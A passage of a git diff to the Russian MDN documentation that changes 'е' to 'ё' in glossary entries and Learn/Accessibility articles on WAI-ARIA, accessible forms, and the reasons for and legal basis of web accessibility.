могут помещаться разные значения переменной. Причем в каждый момент времени переменная имеет единственное значение. </span></p> +<p><span class="_Tgc"><strong>Переменная</strong> — именованная часть памяти, в которую могут помещаться разные значения переменной. Причём в каждый момент времени переменная имеет единственное значение. </span></p> <h2 id="Подробнее">Подробнее:</h2> diff --git a/files/ru/glossary/viewport/index.html b/files/ru/glossary/viewport/index.html index a50f2c2763..6327018d89 100644 --- a/files/ru/glossary/viewport/index.html +++ b/files/ru/glossary/viewport/index.html @@ -6,7 +6,7 @@ original_slug: Словарь/Viewport --- <p>Viewport - это видимая пользователю область веб-страницы, то, что может увидеть пользователь, не прибегая к прокрутке.</p> -<p>Окно просмотра представляет собой многоугольную (обычно прямоугольную) область в компьютерной графике, которая в настоящее время просматривается. В терминах веб-браузера это относится к той части просматриваемого документа, которая в данный момент отображается в ее окне (или на экране, если документ просматривается в полноэкранном режиме).<br> +<p>Окно просмотра представляет собой многоугольную (обычно прямоугольную) область в компьютерной графике, которая в настоящее время просматривается. В терминах веб-браузера это относится к той части просматриваемого документа, которая в данный момент отображается в её окне (или на экране, если документ просматривается в полноэкранном режиме).<br> Содержимое вне окна просмотра не отображается на экране до тех пор, пока оно не будет просмотрено.</p> diff --git a/files/ru/glossary/world_wide_web/index.html b/files/ru/glossary/world_wide_web/index.html index 1b4912fe04..52b094a1d6 100644 --- a/files/ru/glossary/world_wide_web/index.html +++ b/files/ru/glossary/world_wide_web/index.html @@ -8,16 +8,16 @@ tags: translation_of: Glossary/World_Wide_Web original_slug: Словарь/World_Wide_Web --- -<p><span class="seoSummary">Всемирная сеть — сокращенно: <strong>WWW</strong>, <strong>W3</strong>, или<strong> Web; Сеть</strong>, <strong>паутина</strong> или <strong>веб </strong>— всемирная система публичных веб-страниц в сети {{Glossary("Интернет")}}.</span> Сеть не является Интернетом: Сеть лишь использует Интернет как среду передачи информации и данных.</p> +<p><span class="seoSummary">Всемирная сеть — сокращённо: <strong>WWW</strong>, <strong>W3</strong>, или<strong> Web; Сеть</strong>, <strong>паутина</strong> или <strong>веб </strong>— всемирная система публичных веб-страниц в сети {{Glossary("Интернет")}}.</span> Сеть не является Интернетом: Сеть лишь использует Интернет как среду передачи информации и данных.</p> -<p>Тим Бернерз-Ли предложил архитектуру, которая стала известна под названием World Wide Web. В 1990 году в ЦЕРН (в своей лаборатории физ. исследований) он создал первый веб-{{Glossary("Server","сервер")}}, {{Glossary("Browser","браузер")}} и веб-страницу на своем компьютере. В 1991 году он объявил про свое творение в группе новостей alt.hypertext, тем самым, обозначив момент, когда Web стал достоянием общества.</p> +<p>Тим Бернерз-Ли предложил архитектуру, которая стала известна под названием World Wide Web. В 1990 году в ЦЕРН (в своей лаборатории физ. исследований) он создал первый веб-{{Glossary("Server","сервер")}}, {{Glossary("Browser","браузер")}} и веб-страницу на своём компьютере. В 1991 году он объявил про своё творение в группе новостей alt.hypertext, тем самым, обозначив момент, когда Web стал достоянием общества.</p> <p>Система, которую мы называем Web состоит из нескольких компонентов:</p> <ul> <li>Протокол <strong>{{Glossary("HTTP")}}</strong> обеспечивает обмен данными между сервером и клиентом.</li> - <li>Отсылая запрос серверу на определенный ресурс, клиент предоставляет неповторимый идентификатор, который зовется <strong>{{Glossary("URL")}}</strong> (унифицированное расположение ресурсов) или {{Glossary("URI")}} (унифицированный идентификатор ресурса).</li> - <li><strong>{{Glossary("HTML")}}</strong> (язык гипертекстовой разметки) - самый распространенный формат веб-документов.</li> + <li>Отсылая запрос серверу на определённый ресурс, клиент предоставляет неповторимый идентификатор, который зовётся <strong>{{Glossary("URL")}}</strong> (унифицированное расположение ресурсов) или {{Glossary("URI")}} (унифицированный идентификатор ресурса).</li> + <li><strong>{{Glossary("HTML")}}</strong> (язык гипертекстовой разметки) - самый распространённый формат веб-документов.</li> </ul> <p>Связь страниц с помощью {{Glossary("Hyperlink","гиперссылок")}} является главной концепцией Web.</p> diff --git a/files/ru/glossary/wrapper/index.html b/files/ru/glossary/wrapper/index.html index e37a9a6bd7..6a1a1ed8a6 100644 --- a/files/ru/glossary/wrapper/index.html +++ b/files/ru/glossary/wrapper/index.html @@ -1,5 +1,5 @@ --- -title: Обертка +title: Обёртка slug: Glossary/Wrapper tags: - CodingScripting @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Wrapper original_slug: Словарь/Wrapper --- -<p><span class="short_text" id="result_box" lang="ru"><span>В языках</span> <span>программирования, таких как</span> <span>JavaScript</span></span> , <span id="result_box" lang="ru"><span>обертка</span> <span>является функцией, которая</span> <span>предназначена</span> <span>для вызова</span> <span>одного или более</span> <span>других функций</span></span> , <span class="short_text" id="result_box" lang="ru"><span>иногда</span> <span>исключительно для удобства</span></span> , <span id="result_box" lang="ru"><span>а иногда</span> <span>адаптируя их</span> <span class="alt-edited">чтобы сделать</span> <span class="alt-edited">немного отличающийся</span> <span>задачу</span> <span>в процессе</span></span>.</p> +<p><span class="short_text" id="result_box" lang="ru"><span>В языках</span> <span>программирования, таких как</span> <span>JavaScript</span></span> , <span id="result_box" lang="ru"><span>обёртка</span> <span>является функцией, которая</span> <span>предназначена</span> <span>для вызова</span> <span>одного или более</span> <span>других функций</span></span> , <span class="short_text" id="result_box" lang="ru"><span>иногда</span> <span>исключительно для удобства</span></span> , <span id="result_box" lang="ru"><span>а иногда</span> <span>адаптируя их</span> <span class="alt-edited">чтобы сделать</span> <span class="alt-edited">немного отличающийся</span> <span>задачу</span> <span>в процессе</span></span>.</p> <h2 id="Узнать_больше"><span class="short_text" id="result_box" lang="ru"><span class="alt-edited">Узнать больше</span></span></h2> diff --git a/files/ru/learn/accessibility/css_and_javascript/index.html b/files/ru/learn/accessibility/css_and_javascript/index.html index d55d8b79b4..f262b3d161 100644 --- a/files/ru/learn/accessibility/css_and_javascript/index.html +++ b/files/ru/learn/accessibility/css_and_javascript/index.html @@ -21,7 +21,7 @@ original_slug: Learn/Доступность/CSS_and_JavaScript </tr> <tr> <th scope="row">Цели:</th> - <td>Приобрести хорошую осведомленность при использовании CSS и JavaScript в ваших web документах для максимального увеличения доступности и (not detract from it)-(привет я не понял как переводится эти слова так что помогите если понимаете).</td> + <td>Приобрести хорошую осведомлённость при использовании CSS и JavaScript в ваших web документах для максимального увеличения доступности и (not detract from it)-(привет я не понял как переводится эти слова так что помогите если понимаете).</td> </tr> </tbody> </table> diff --git a/files/ru/learn/accessibility/html/index.html b/files/ru/learn/accessibility/html/index.html index bc6289bc1f..cf6f72f855 100644 --- a/files/ru/learn/accessibility/html/index.html +++ b/files/ru/learn/accessibility/html/index.html @@ -386,7 +386,7 @@ original_slug: Learn/Доступность/HTML <p><img alt="" src="https://mdn.mozillademos.org/files/14337/voiceover-good-form-label.png" style="display: block; margin: 0 auto;"></p> -<p>Как бонус, в большинстве браузеров привязка описания к полю ввода означает, что вы можете щелкнуть по описанию, чтобы выбрать/активировать элемент формы. Это облегчает нажатие на элемент формы из-за увеличенной зоны нажатия.</p> +<p>Как бонус, в большинстве браузеров привязка описания к полю ввода означает, что вы можете щёлкнуть по описанию, чтобы выбрать/активировать элемент формы. Это облегчает нажатие на элемент формы из-за увеличенной зоны нажатия.</p> <div class="note"> <p><strong>Примечание</strong>: Посмотреть на хорошие и плохие пример форм можно на <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a> и <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a>.</p> diff --git a/files/ru/learn/accessibility/index.html b/files/ru/learn/accessibility/index.html index 36a072e071..ddaa937807 100644 --- a/files/ru/learn/accessibility/index.html +++ b/files/ru/learn/accessibility/index.html @@ -12,7 +12,7 @@ original_slug: Learn/Доступность --- <div>{{LearnSidebar}}</div> -<p class="summary">Изучение HTML, CSS, и JavaScript полезно, если вы хотите стать веб-разработчиком, но ваши знания должны быть глубже обычного использования технологий — вы должны быть ответственны и максимизировать доступность ваших веб-приложений, не лишая никого возможности их использования. Чтобы достигнуть этого, вы можете следовать общепринятым лучшим практикам (которые демонстрируются в статьях посвященных <a href="/ru-RU/docs/Learn/HTML">HTML</a>, <a href="/ru-RU/docs/Learn/CSS">CSS</a> и <a href="/ru-RU/docs/Learn/JavaScript">JavaScript</a>), проводить <a href="/ru-RU/docs/Learn/Tools_and_testing/Cross_browser_testing">кросс-браузерное тестирование</a> и обращать внимание на доступность с самого начала. В этом модуле мы рассмотрим эту тему в деталях.</p> +<p class="summary">Изучение HTML, CSS, и JavaScript полезно, если вы хотите стать веб-разработчиком, но ваши знания должны быть глубже обычного использования технологий — вы должны быть ответственны и максимизировать доступность ваших веб-приложений, не лишая никого возможности их использования. Чтобы достигнуть этого, вы можете следовать общепринятым лучшим практикам (которые демонстрируются в статьях посвящённых <a href="/ru-RU/docs/Learn/HTML">HTML</a>, <a href="/ru-RU/docs/Learn/CSS">CSS</a> и <a href="/ru-RU/docs/Learn/JavaScript">JavaScript</a>), проводить <a href="/ru-RU/docs/Learn/Tools_and_testing/Cross_browser_testing">кросс-браузерное тестирование</a> и обращать внимание на доступность с самого начала. В этом модуле мы рассмотрим эту тему в деталях.</p> <h2 id="Прежде_чем_начать">Прежде чем начать</h2> @@ -43,8 +43,8 @@ original_slug: Learn/Доступность <h2 id="Проверка_знаний">Проверка знаний</h2> <dl> - <dt><a href="/ru-RU/docs/Learn/Accessibility/Accessibility_troubleshooting">Найди недочеты в доступности</a></dt> - <dd>В этом блоке представлен достаточно простой сайт, в котором, однако, есть множество недочетов в доступности. Необходимо найти их и починить.</dd> + <dt><a href="/ru-RU/docs/Learn/Accessibility/Accessibility_troubleshooting">Найди недочёты в доступности</a></dt> + <dd>В этом блоке представлен достаточно простой сайт, в котором, однако, есть множество недочётов в доступности. Необходимо найти их и починить.</dd> </dl> <h2 id="Также_советуем_посмотреть">Также советуем посмотреть</h2> diff --git a/files/ru/learn/accessibility/wai-aria_basics/index.html b/files/ru/learn/accessibility/wai-aria_basics/index.html index 6155128bbd..e4bbc9d1f9 100644 --- a/files/ru/learn/accessibility/wai-aria_basics/index.html +++ b/files/ru/learn/accessibility/wai-aria_basics/index.html @@ -27,19 +27,19 @@ original_slug: Learn/Доступность/WAI-ARIA_basics <h2 id="Что_такое_WAI-ARIA">Что такое WAI-ARIA?</h2> -<p>Давайте начнем с рассмотрения того, что такое WAI-ARIA и чем она может быть полезна.</p> +<p>Давайте начнём с рассмотрения того, что такое WAI-ARIA и чем она может быть полезна.</p> <h3 id="Новый_набор_проблем">Новый набор проблем</h3> <p>С тех пор как веб-приложения стали более сложными и динамичными, появились новые специальные возможности и проблемы.</p> -<p><font><font>Например, HTML5 ввел ряд семантических элементов, </font><font>чтобы определить общую разметку страниц ( </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/nav" title="HTML-элемент <nav> определяет отдельную секцию документа, назначение которой обозначение ссылок навигации (как внутри текущего документа, так и ведущих на другую страницу). В качестве примера такой секции можно привести меню, якорные ссылки."><code><nav></code></a><font><font>, </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/footer" title="HTML-элемент <footer> представляет нижний колонтитул (футер, подвал) для своего ближайшего элемента секционного контента или секционного корня. Футер обычно содержит информацию об авторе секции, информацию об авторском праве или ссылки на связанные документы."><code><footer></code></a><font><font>и т.д.). До того как </font><font>они были доступны, разработчики просто использовали </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/div" title='Элемент разделения контента HTML (<div>) является базовым контейнером для элементов основного потока ( flow content ). Он не влияет на контент или формат пока не стилизован, используя CSS. Являясь "чистым" контейнером, элемент <div> по своему существу не представляет ничего. Между тем, он используется для группировки контента, что позволяет легко его стилизовать, используя '><code><div></code></a><font><font> с идентификаторами или классами, например </font></font><code><div class="nav"></code><font><font>, но это создавало проблемы, так как не было никакого простого способа найти определенный раздел страницы программным способом.</font></font></p> +<p><font><font>Например, HTML5 ввёл ряд семантических элементов, </font><font>чтобы определить общую разметку страниц ( </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/nav" title="HTML-элемент <nav> определяет отдельную секцию документа, назначение которой обозначение ссылок навигации (как внутри текущего документа, так и ведущих на другую страницу). В качестве примера такой секции можно привести меню, якорные ссылки."><code><nav></code></a><font><font>, </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/footer" title="HTML-элемент <footer> представляет нижний колонтитул (футер, подвал) для своего ближайшего элемента секционного контента или секционного корня. Футер обычно содержит информацию об авторе секции, информацию об авторском праве или ссылки на связанные документы."><code><footer></code></a><font><font>и т.д.). До того как </font><font>они были доступны, разработчики просто использовали </font></font><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/div" title='Элемент разделения контента HTML (<div>) является базовым контейнером для элементов основного потока ( flow content ). Он не влияет на контент или формат пока не стилизован, используя CSS. Являясь "чистым" контейнером, элемент <div> по своему существу не представляет ничего. Между тем, он используется для группировки контента, что позволяет легко его стилизовать, используя '><code><div></code></a><font><font> с идентификаторами или классами, например </font></font><code><div class="nav"></code><font><font>, но это создавало проблемы, так как не было никакого простого способа найти определённый раздел страницы программным способом.</font></font></p> -<p>Первоначальным решением было добавить одну или несколько скрытых ссылок вверху страницы для ссылки на навигацию (или на что-то еще), например:</p> +<p>Первоначальным решением было добавить одну или несколько скрытых ссылок вверху страницы для ссылки на навигацию (или на что-то ещё), например:</p> <pre class="brush: html"><a href="#hidden" class="hidden">Skip to navigation</a></pre> -<p>Но это все еще не очень точно, и может использоваться только тогда, когда программа чтения с экрана читает сверху страницы.</p> +<p>Но это все ещё не очень точно, и может использоваться только тогда, когда программа чтения с экрана читает сверху страницы.</p> <p>В качестве другого примера, в приложения стали использовать сложные элементы управления, такие как поля выбора даты, ползунки для выбора значений и т.д. HTML5 предоставляет специальные типы ввода для отображения таких элементов управления:</p> diff --git a/files/ru/learn/accessibility/what_is_accessibility/index.html b/files/ru/learn/accessibility/what_is_accessibility/index.html index 16207ced8b..a4d3e3e2bc 100644 --- a/files/ru/learn/accessibility/what_is_accessibility/index.html +++ b/files/ru/learn/accessibility/what_is_accessibility/index.html @@ -77,7 +77,7 @@ original_slug: Learn/Доступность/What_is_accessibility <p> </p> -<p>Что касается статистики: по оценкам Всемирной Организации Здравоохранения: "285 миллионов человек во всем мире страдают нарушениями зрения: 39 миллионов слепы и 246 имеют слабовидение." (см. <a class="external external-icon" href="http://www.who.int/ru/news-room/fact-sheets/detail/blindness-and-visual-impairment">Нарушения зрения и слепота</a>). Это большая и значительная группа пользователей, которые просто упущены, потому что ваш сайт не закодирован должным образом — почти такой же размер, как и население Соединенных Штатов Америки.</p> +<p>Что касается статистики: по оценкам Всемирной Организации Здравоохранения: "285 миллионов человек во всем мире страдают нарушениями зрения: 39 миллионов слепы и 246 имеют слабовидение." (см. <a class="external external-icon" href="http://www.who.int/ru/news-room/fact-sheets/detail/blindness-and-visual-impairment">Нарушения зрения и слепота</a>). Это большая и значительная группа пользователей, которые просто упущены, потому что ваш сайт не закодирован должным образом — почти такой же размер, как и население Соединённых Штатов Америки.</p> <h3 id="Люди_с_нарушениями_слуха">Люди с нарушениями слуха</h3> @@ -89,7 +89,7 @@ original_slug: Learn/Доступность/What_is_accessibility <h3 id="Люди_с_ограниченными_физическими_возможностями">Люди с ограниченными физическими возможностями </h3> -<p>Это группа людей, которые имеют инвалидность в отношении движения, которая может включать в себя чисто физические проблемы (такие как потеря конечности или паралич), или неврологические/генетические расстройства, которые приводят к слабости или потере контроля в конечностях. Некоторые люди могут испытывать трудности с выполнением точных движений рук, необходимых для использования мыши, в то время как другие могут быть более серьезно затронуты, возможно, значительно парализованы до такой степени, что им нужно использовать <a class="external external-icon" href="https://www.performancehealth.com/baseball-cap-head-pointer">указатель головы</a> для взаимодействия с компьютером.</p> +<p>Это группа людей, которые имеют инвалидность в отношении движения, которая может включать в себя чисто физические проблемы (такие как потеря конечности или паралич), или неврологические/генетические расстройства, которые приводят к слабости или потере контроля в конечностях. Некоторые люди могут испытывать трудности с выполнением точных движений рук, необходимых для использования мыши, в то время как другие могут быть более серьёзно затронуты, возможно, значительно парализованы до такой степени, что им нужно использовать <a class="external external-icon" href="https://www.performancehealth.com/baseball-cap-head-pointer">указатель головы</a> для взаимодействия с компьютером.</p> <p>Этот вид инвалидности также может быть результатом старости, а не какой-либо конкретной травмы или состояния, а также может быть результатом аппаратных ограничений — у некоторых пользователей может не быть мыши.</p> @@ -101,7 +101,7 @@ original_slug: Learn/Доступность/What_is_accessibility <p>Вероятно, самый широкий спектр инвалидности можно увидеть в этой категории — когнитивные нарушения в широком смысле могут относиться к инвалидности от психических заболеваний до трудностей в обучении, трудности в понимании и концентрации, такие как <a class="external external-icon" href="https://www.nimh.nih.gov/health/topics/attention-deficit-hyperactivity-disorder-adhd/index.shtml">СДВГ (синдром дефицита внимания и гиперактивности)</a>, людям <a class="external external-icon" href="https://www.nimh.nih.gov/health/topics/autism-spectrum-disorders-asd/index.shtml">аутистического спектра</a>, людям с <a class="external external-icon" href="https://www.nimh.nih.gov/health/topics/schizophrenia/index.shtml">шизофренией</a>, и множество других типов нарушений. Такие недостатки могут повлиять на многие детали повседневной жизни из-за проблем с памятью, решением, пониманием, вниманием и т. д.</p> -<p>Наиболее распространенные способы, вызванные когнитивными нарушениями, которые могут повлиять на использование веб-сайта — трудности с пониманием того, как выполнить задачу; вспомнить, как сделать что-то, что было ранее выполнено; повышенное разочарование в запутанных рабочих процессах или непоследовательных макетах/навигации/других функциях страницы.</p> +<p>Наиболее распространённые способы, вызванные когнитивными нарушениями, которые могут повлиять на использование веб-сайта — трудности с пониманием того, как выполнить задачу; вспомнить, как сделать что-то, что было ранее выполнено; повышенное разочарование в запутанных рабочих процессах или непоследовательных макетах/навигации/других функциях страницы.</p> <p>В отличие от других проблем доступности интернета, невозможно назначить быстрые исправления для многих проблем доступности, связанных с когнитивными нарушениями; лучшее решение, которое у вас есть — это проектировать веб-сайты таким образом, чтобы они были логичными, последовательными и удобными для использования настолько, насколько это возможно. Например, убедитесь, что:</p> @@ -113,12 +113,12 @@ original_slug: Learn/Доступность/What_is_accessibility <li>страницы не слишком длинные или плотные с точки зрения количества информации, представленной сразу.</li> <li>язык, используемый на ваших страницах, настолько прост и удобен, насколько это возможно, и не полон ненужного жаргона и сленга.</li> <li>важные моменты и контент выделены некоторым способом.</li> - <li>ошибки пользователя четко выделены, с подсказкой и предлагаемым решением.</li> + <li>ошибки пользователя чётко выделены, с подсказкой и предлагаемым решением.</li> </ul> <p>Это не "методы доступности" как таковые — это хорошая практика проектирования. Они принесут пользу всем, кто использует ваши сайты, и должны быть стандартной частью вашей работы.</p> -<p>С точки зрения статистики, опять же цифры значительны. Отчет Корнелльского университета <a class="external external-icon" href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">О состоянии инвалидности за 2014 год</a> (PDF, 511 КБ)(en) показывает, что в 2014 году 4,5% людей в США в возрасте 21-64 лет имели ту или иную форму когнитивной инвалидности.</p> +<p>С точки зрения статистики, опять же цифры значительны. Отчёт Корнелльского университета <a class="external external-icon" href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">О состоянии инвалидности за 2014 год</a> (PDF, 511 КБ)(en) показывает, что в 2014 году 4,5% людей в США в возрасте 21-64 лет имели ту или иную форму когнитивной инвалидности.</p> <div class="note"> <p><strong>Примечание</strong>: <a href="http://webaim.org/articles/cognitive/">Страница о когнитивных расстройствах</a> на WebAIM обеспечивает полезное распространение этих идей, и это, безусловно, стоит прочитать.</p> @@ -126,7 +126,7 @@ original_slug: Learn/Доступность/What_is_accessibility <h2 id="Реализация_доступности_в_проекте">Реализация доступности в проекте</h2> -<p>Распространенный миф о доступности заключается в том, что доступность является дорогостоящим "дополнением" для реализации проекта. Этот миф на самом деле может быть правдой, если:</p> +<p>Распространённый миф о доступности заключается в том, что доступность является дорогостоящим "дополнением" для реализации проекта. Этот миф на самом деле может быть правдой, если:</p> <ul> <li>Вы пытаетесь "модифицировать" доступность на существующем сайте, который имеет значительные проблемы в этом плане.</li> @@ -143,13 +143,13 @@ original_slug: Learn/Доступность/What_is_accessibility <li>Мои интерфейсные кнопки доступны с помощью клавиатуры и сенсорного интерфейса?</li> </ul> -<p>Вы можете и должны хранить заметку о потенциальных проблемных местах в контенте, которые будут нуждаться в доработке, чтобы сделать их доступными, убедитесь, что они тщательно протестированы, и подумайте о решениях/альтернативах. Текстовый контент (как вы увидите в следующей статье) довольно прост, но как насчет вашего мультимедийного контента, и красивой 3D-графики? Вы должны смотреть на свой бюджет проекта и реально думать о том, какие решения у вас есть, чтобы сделать такой контент доступным? Вы можете заплатить за расшифровку всего вашего мультимедийного контента, это может быть дорогостоящим, но будет сделано.</p> +<p>Вы можете и должны хранить заметку о потенциальных проблемных местах в контенте, которые будут нуждаться в доработке, чтобы сделать их доступными, убедитесь, что они тщательно протестированы, и подумайте о решениях/альтернативах. Текстовый контент (как вы увидите в следующей статье) довольно прост, но как насчёт вашего мультимедийного контента, и красивой 3D-графики? Вы должны смотреть на свой бюджет проекта и реально думать о том, какие решения у вас есть, чтобы сделать такой контент доступным? Вы можете заплатить за расшифровку всего вашего мультимедийного контента, это может быть дорогостоящим, но будет сделано.</p> -<p>Кроме того, будьте реалистами. "100% доступность" является недостижимым идеалом — вы всегда столкнетесь с каким-то случаем, который приводёт к тому, что определенный пользователь найдёт определенный контент трудным в использовании, но вы должны сделать столько, сколько сможете. Если вы планируете использовать трехмерную круговую диаграмму, созданную с помощью WebGL, вы можете включить таблицу данных в качестве доступного альтернативного представления данных. Или, вы можете просто включить таблицу и избавиться от 3D круговой диаграммы-таблица доступна для всех, быстрее кодировать, меньше ресурсов процессора, и проще в обслуживании.</p> +<p>Кроме того, будьте реалистами. "100% доступность" является недостижимым идеалом — вы всегда столкнётесь с каким-то случаем, который приводёт к тому, что определённый пользователь найдёт определённый контент трудным в использовании, но вы должны сделать столько, сколько сможете. Если вы планируете использовать трёхмерную круговую диаграмму, созданную с помощью WebGL, вы можете включить таблицу данных в качестве доступного альтернативного представления данных. Или, вы можете просто включить таблицу и избавиться от 3D круговой диаграммы-таблица доступна для всех, быстрее кодировать, меньше ресурсов процессора, и проще в обслуживании.</p> -<p>С другой стороны, если вы работаете на веб-сайте галереи с интересным трехмерным искусством, было бы неразумно ожидать, что каждое произведение искусства будет идеально доступно для людей с нарушениями зрения, учитывая, что это полностью визуальная среда.</p> +<p>С другой стороны, если вы работаете на веб-сайте галереи с интересным трёхмерным искусством, было бы неразумно ожидать, что каждое произведение искусства будет идеально доступно для людей с нарушениями зрения, учитывая, что это полностью визуальная среда.</p> -<p>Чтобы показать, что вы заботитесь о доступности и думали о ней, опубликуйте на своем сайте заявление о доступности, в котором подробно излагается, какова ваша политика в отношении доступности, и какие шаги вы предприняли для обеспечения доступности сайта. Если кто-то жалуется, что у вашего сайта есть проблема с доступностью, начните с ним диалог, проявите сочувствие и примите разумные меры, чтобы попытаться устранить проблему.</p> +<p>Чтобы показать, что вы заботитесь о доступности и думали о ней, опубликуйте на своём сайте заявление о доступности, в котором подробно излагается, какова ваша политика в отношении доступности, и какие шаги вы предприняли для обеспечения доступности сайта. Если кто-то жалуется, что у вашего сайта есть проблема с доступностью, начните с ним диалог, проявите сочувствие и примите разумные меры, чтобы попытаться устранить проблему.</p> <div class="note"> <p><strong>Note</strong>: В нашей статье <a href="https://developer.mozilla.org/ru/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">«Об общих проблемах доступности»</a> рассматриваются особенности доступности, которые необходимо протестировать более подробно.</p> @@ -160,7 +160,7 @@ original_slug: Learn/Доступность/What_is_accessibility <ul> <li>Думайте о доступности с самого начала проекта, тестируйте рано и часто. Как и любая другая ошибка, проблема доступности становится более дорогой, чтобы исправлять её позже.</li> <li>Имейте в виду, что многие рекомендации по доступности выгодны всем, а не только пользователям с ограниченными возможностями. Например, семантическая разметка полезна не только для программ чтения с экрана, но и для быстрой загрузки и повышения производительности, так лучше для всех, особенно для мобильных устройств, и/или для медленных соединений.</li> - <li>Опубликуйте заявление о доступности на своем сайте и общайтесь с людьми, у которых есть проблемы.</li> + <li>Опубликуйте заявление о доступности на своём сайте и общайтесь с людьми, у которых есть проблемы.</li> </ul> <h2 id="Руководство_по_доступности_и_закон">Руководство по доступности и закон</h2> @@ -168,13 +168,13 @@ original_slug: Learn/Доступность/What_is_accessibility <p>Существует множество чек-листов и наборов руководств, на которых можно основываться при тестировании доступности, которые на первый взгляд могут показаться ошеломляющими. Наш совет — ознакомиться с основными областями, о которых вам необходимо позаботиться, а также понять структуры руководящих принципов, которые наиболее актуальны для вас.</p> <ul> - <li>Для начала, W3C опубликовал большой и очень подробный документ, который включает в себя очень точные, независимые от технологии критерии соответствия доступности. Они называются <a class="external external-icon" href="https://www.w3.org/Translations/WCAG20-ru/WCAG20-ru-20130220/">Рекомендациями по доступности веб-контента</a> (<a class="external external-icon" href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a> — WCAG), и они никоим образом не являются кратким описанием. Критерии разделяются на четыре основные категории, которые определяют, как реализации можно сделать восприимчивыми, работоспособными, понятными и устойчивыми. Лучшее место, чтобы получить легкое представление и начать обучение это <a class="external external-icon" href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. Нет необходимости изучать WCAG наизусть — знайте об основных проблемных областях и используйте различные методы и инструменты, чтобы выделить любые области, которые не соответствуют критериям WCAG (подробнее см. ниже).</li> + <li>Для начала, W3C опубликовал большой и очень подробный документ, который включает в себя очень точные, независимые от технологии критерии соответствия доступности. Они называются <a class="external external-icon" href="https://www.w3.org/Translations/WCAG20-ru/WCAG20-ru-20130220/">Рекомендациями по доступности веб-контента</a> (<a class="external external-icon" href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a> — WCAG), и они никоим образом не являются кратким описанием. Критерии разделяются на четыре основные категории, которые определяют, как реализации можно сделать восприимчивыми, работоспособными, понятными и устойчивыми. Лучшее место, чтобы получить лёгкое представление и начать обучение это <a class="external external-icon" href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. Нет необходимости изучать WCAG наизусть — знайте об основных проблемных областях и используйте различные методы и инструменты, чтобы выделить любые области, которые не соответствуют критериям WCAG (подробнее см. ниже).</li> <li>В вашей стране также может быть предусмотрено специальное законодательство, регулирующее необходимость обеспечения доступности веб-сайтов, обслуживающих их население, например, <a class="external external-icon" href="http://www.section508.gov/content/learn">Раздел 508 Закона о реабилитации</a> в США, <a class="external external-icon" href="https://www.einfach-fuer-alle.de/artikel/bitv_english/">Федеральное постановление о безбарьерных информационных технологиях</a> в Германии, <a class="external external-icon" href="http://www.legislation.gov.uk/ukpga/2010/15/contents">Закон о равенстве</a> в Великобритании, <a class="external external-icon" href="http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita">Accessibilità</a> в Италии, <a class="external external-icon" href="https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014">Закон о дискриминации инвалидов</a> в Австралии и т.д.</li> </ul> <p>Поэтому, хотя WCAG представляет собой набор руководств, в вашей стране, вероятно, будут приняты законы, регулирующие доступность веба или, по крайней мере, доступность обществественных услуг (которые могут включать в себя веб-сайты, телевидение, физические пространства и т.д.). Это хорошая идея — узнать, каковы ваши законы. Если вы не предпримете никаких усилий, чтобы проверить, что ваш контент доступен, у вас могут возникнуть проблемы с законом, если люди с ограниченными возможностями жалуются на это.</p> -<p>Это звучит серьезно, но на самом деле вам просто нужно рассматривать доступность в качестве основного приоритета вашей практики веб-разработки, как описано выше. В случае сомнений обратитесь за советом к квалифицированному юристу. Мы не собираемся предлагать больше советов, чем эти, потому что мы не юристы.</p> +<p>Это звучит серьёзно, но на самом деле вам просто нужно рассматривать доступность в качестве основного приоритета вашей практики веб-разработки, как описано выше. В случае сомнений обратитесь за советом к квалифицированному юристу. Мы не собираемся предлагать больше советов, чем эти, потому что мы не юристы.</p> <h2 id="Специальные_API_доступа">Специальные API доступа</h2> @@ -190,11 +190,11 @@ original_slug: Learn/Доступность/What_is_accessibility <li>iOS: UIAccessibility</li> </ul> -<p>Там, где нативная семантическая информация, предоставляемая элементами HTML в ваших веб-приложениях, падает, вы можете дополнить ее функциями из <a class="external" href="https://www.w3.org/TR/wai-aria/">спецификации WAI-ARIA</a>, которые добавляют семантическую информацию в дерево доступности для улучшения доступности. Вы можете узнать больше о WAI-ARIA в нашей статье <a href="/ru/docs/Learn/Accessibility/WAI-ARIA_basics">основы WAI-ARIA</a>.</p> +<p>Там, где нативная семантическая информация, предоставляемая элементами HTML в ваших веб-приложениях, падает, вы можете дополнить её функциями из <a class="external" href="https://www.w3.org/TR/wai-aria/">спецификации WAI-ARIA</a>, которые добавляют семантическую информацию в дерево доступности для улучшения доступности. Вы можете узнать больше о WAI-ARIA в нашей статье <a href="/ru/docs/Learn/Accessibility/WAI-ARIA_basics">основы WAI-ARIA</a>.</p> <h2 id="Заключение">Заключение</h2> -<p>Эта статья должна была дать вам полезный обзор специальных возможностей, показать, почему это так важно, и посмотреть, как вы можете вписать его в свой рабочий процесс. Теперь у вас также должна быть жажда узнать о деталях реализации, которые помогут сделать сайты доступными, и мы начнем с этого в следующем разделе, рассматривая, почему HTML является хорошей основой для доступности.</p> +<p>Эта статья должна была дать вам полезный обзор специальных возможностей, показать, почему это так важно, и посмотреть, как вы можете вписать его в свой рабочий процесс. Теперь у вас также должна быть жажда узнать о деталях реализации, которые помогут сделать сайты доступными, и мы начнём с этого в следующем разделе, рассматривая, почему HTML является хорошей основой для доступности.</p> <p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p> diff --git 